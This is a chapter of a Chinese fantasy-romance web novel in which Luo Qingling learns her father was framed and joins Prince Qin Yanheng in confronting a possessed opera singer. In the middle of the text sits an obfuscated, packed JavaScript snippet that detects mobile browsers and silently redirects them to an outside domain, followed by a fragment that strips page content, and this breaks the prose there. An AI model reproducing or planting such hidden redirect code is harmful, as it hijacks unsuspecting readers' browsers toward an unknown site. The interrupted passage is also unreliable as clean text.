42. 食恶果
作品:《黄道吉日宜追妻》 洛卿龄止住脚步,左右看了看,此刻廊庑下只有她一人,无人察觉自己的行踪。只见洛卿龄贴近墙边侧耳倾听,房中二人继续说起此事。
“当年我家那位与洛将军也算是交情颇深的同僚,战前他曾提醒过洛将军莫要轻信那人,可谁知……”女子说到一半便连声叹气,“如今这事儿过了将近二十年,该死的也都死光了,就算活着也早就布局好了一切,洛将军又如何能翻身?”
“是啊,京中谁人不知洛将军当年极好的一个人,如今这结局可谓是令人唏嘘,”另一人附和道,“只能盼望着容安亲王此次南巡能找到些线索,替洛将军平反冤情罢。”
阿耶只是失手杀人,又何来冤情一说?
洛卿龄顿觉浑身一阵冷意,像是落入冰窖一般,双脚冰凉挪不开身。莫非阿耶当年并非失手,而是被人陷害的么?且听房中二人言外之意,京城内似乎有不少人知晓这是件冤案,又为何无人替阿耶出头,让阿耶凭白被人冤枉十余载,至今无法回京!
如今阿耶身患重病,若再不调回京城诊治,怕是要客死他乡!思及此,洛卿龄转身朝马场奔去。
初春的风还是有些寒冷,带着细细冰雨划过脸颊,洛卿龄顾不及脸上的刺痛,心里想的都是找到秦砚珩,随他一道南下尽快查明当年的事情,好替阿耶平冤昭雪。
雨幕潇潇,脚下红泥四溅,几滴沾在裙摆。
不远处马场门外,打着亲王府旗帜的马车正要掉头离开,洛卿龄加快脚步跟上去。
马车内。
秦砚珩正阖眼假寐,桌前茶点一动不动。
今日打个马球他脑子里想的都是那块金玉姻缘石,真是好不痛快!干脆回府令人将埋在树下的那几坛酒,好生喝上几杯,去去邪气!
定是近日捉妖沾上了妖邪之气,否则怎会做那样的梦?还金玉姻缘石,他承认他的确是一块金石,毕竟生在皇家,自然是天底下最为尊贵的人,如此举世无双的小殿下,又怎会被一块玉石给降服,简直是玩笑,他秦砚珩可不会相信那几个仙人说的话。
“小殿下——”
马车蓦地停下,秦砚珩一个不注意险些冲出帘外,他蹙眉揉了揉额角,抬手撩开帘子。只见外面洛卿龄张开双手拦在车前,不顾众人阻拦扬声朝他喊道。
“小殿下,”瞧见帘子掀开一角,秦砚珩的脸出现在帘后,洛卿龄换了一口气,露出几分笑容,她眼神明亮,“殿下……我想到解决金龙剑的办法了。”
*
马场茶室。
“这就是你说的……办法?”
秦砚珩狐疑地看着眼前少女,后者神色坚定,似乎并不觉得自己方才的提议有多离谱,他只好再次确认:“你可知你说的是何意?”
“当然!”洛卿龄用力点头,“既然金龙剑的牵绊一时半会儿解不开,那不如你我二人一道南巡,指不定路上误打误撞便能解了呢?况且,圣人不日后便要下旨启程,到时若还是解不开牵绊,圣人怪罪下来,殿下您又该如何是好?”
一连几个问题,秦砚珩听着越发头疼起来。洛卿龄说得的确不错,南巡一事不可耽搁,况且圣人这次有所密谋,便是连他也不知全貌,再拖下去怕是要引起圣人的不满,虽说他这位老爹平日里对他可谓是极为宠爱,但正事儿上就是另一番面孔了。
不过……秦砚珩动作一顿,蓦地抬眸。她为何这么急着要跟他一道南巡?
秦砚珩抓住“重点”,趁着喝茶的功夫,不着痕迹地瞥了她几眼,硬是看不出什么端倪来。莫非她早就知道金玉姻缘石一事,急着要“降服”他了?
罢了,且不说金玉之缘孰真孰假,这洛卿龄是不是那块玉石还有待商榷,她若是想趁南巡的机会降服他,那可是门都没有!
她定是急着与本王再进一步……秦砚珩如此想着。
“可若是南巡,你又何来理由与本王同行?”他问道。
这倒是问住了她。
洛卿龄沉思片刻,如今她也只是个来京城赴宴,不日便要启程回边疆的洛家女,突然间消失,怕是说不过去。再者,姑母赵洛氏也不是个好糊弄的,她须得想个万全的理由,既不让人将她与秦砚珩联想到一块儿,又能悄然离开京城。
茶室内,二人沉默不语,心思各异。
秦砚珩仔细观察洛卿龄的表情,不放过一丝细微变化。少女柳眉轻蹙,平日里时常勾起的嘴角此刻却有些下弯,似是在思考什么难题。
窗外微雨已停,暖阳悄悄照进房中,映在少女脸上,白肤似雪又似玉。若她真如仙人所说的那般是一块玉石,那倒也名副其实了。
戏园那处曲调高昂,赫然将秦砚珩从思绪中拉回神,他正要开口说什么,却听隔壁一阵喧闹,带着几声尖叫。
房中二人对视一眼,皆从对方眼中看出冷峻之意。
不好!定是又有妖怪了!
*
戏园。
戏台上那位身着华丽的戏子嘴巴微张,唱出悲凉曲调。
诡异的是,那名戏子双目爆出,鲜血顺着眼眶流下,却毫无察觉仍在舞动,只见他兰花指一绕,侧脸转身,迈着小碎步在众人面前来回走动,背后插着一把尖刀,涌出的血液染红戏服。
“冤头债主来偿命,饕餮王孙埋花丛,官家哪是寻常色,始春桃柳赶东风。”
戏子声音尖锐,念到一半竟从男声变成了女音,带着丝丝苍凉,在雨后微阳下却也能透出几分恐怖之意。台上一道出演的其他戏子见状,皆愣在原地不知所措。
明明排的是一出苦情戏,怎的忽然变成了索命鬼?
台下众人尚未反应过来,只当是戏班子刻意编排的剧情,段青意第一个察觉出不对劲,她站起身指着那名双目流血的戏子,大喊道:“你们还看不出来么?他已经被鬼上身了!”
“快救人——”
戏园内乱成一片,不知何人想起秦砚珩今日也在隔壁马场打马球,只听一声高喊:“快去请容安亲王过来,他定能破解此事!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815742|172721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
黑影闪过,秦砚珩双手抱胸站在戏台上,静静看着那名仍在唱曲儿的戏子。
许是因着今日要打马球,秦砚珩早晨特意穿了一身胡服,窄袖上金丝暗纹,衬得他愈发少年气。
只见秦砚珩不知从何处掏出符纸朝那名中邪的戏子扔去,曲调赫然停下,戏子缓缓转身看向他,唇边笑意渐浓。
“一曲戏,一声叹,道尽人世仓惶……”戏子继续唱着,脚下碎步迈得愈发快起来。
“究竟是何方神圣在此装神弄鬼?还不快速速招来!”
秦砚珩一个箭步上前掐住戏子的脖子,右手掐诀欲要强行把戏子身上的鬼魅拉出来,谁知戏子忽然身子一抽,倒地不醒。
“戏子死了!”
戏园内有人呼喊道,众人尖声逃窜,洛卿龄逆着人群找到段青意,二人快步上前走到秦砚珩身侧。只见秦砚珩半蹲在戏子身前,凝视片刻后抬头看向洛卿龄,一脸无奈。
“那突然上身的鬼不见了。”秦砚珩冷着声音。他实在是不知道为何自从认识了洛卿龄后,妖怪便源源不断地出现在二人身边,眼下这已经是第三个了。
“小殿下,戏子还活着,”洛卿龄半蹲下伸手探了探戏子的呼吸,而后抬眸说道,“不如先给戏子疗伤,待人醒后再做打算。”
秦砚珩点点头,默许洛卿龄指使自己的随从。
“参见容安亲王,奴这就带人将戏子抬到医馆治疗。”戏园班主格外不安,却还是拂袖上前,躬身朝秦砚珩行礼,而后看了一眼容安亲王身侧的那名粉裙少女,心里纠结着此人的身份。
“这几张符纸可镇魂,班主拿着便是,若有什么情况派人来亲王府找本王便可。”秦砚珩从袖中掏出符纸递给戏园班主,留下一句话后带着洛卿龄离开了。
虽说秦砚珩贵为亲王,但他毕竟是道仙在人世唯一的徒弟,若京中有妖怪出现,他势必不可袖手旁观。
马车前。
洛卿龄仰头看着秦砚珩,忍不住将心中想法说出来。
“小殿下,你有没有觉得近日我们遇到妖怪的频率实在是太高了,这事儿莫不是有什么蹊跷罢?”洛卿龄心中惴惴不安,藏在袖中的手暗暗摩挲着金龙剑的剑身,那处纹路突起,有些咯手。
“本王与你提起过,金龙剑本就是仙界宝物,落到人世自然是被妖怪虎视眈眈,洛娘子没有道术傍身,手中又持有仙物,那群妖怪不找你找谁?”秦砚珩默不作声地看了洛卿龄一眼,表情有些无奈。
“是这金龙剑莫名其妙认我为主,又不是我想……”洛卿龄说到一半止住了话音。
不知道为什么,她突然间想到昨日在湘山寺宝塔内做的那个梦,不禁有些别的猜测。虽说她不明白金玉姻缘石与金龙剑是何关系,但她心中隐隐觉得自己与秦砚珩的剑必定有什么联系。
否则,为何初次见面,秦砚珩的随身剑便认她为主?
洛卿龄想不通,她看了同样露出头疼神色的秦砚珩一眼,而后转身离开。

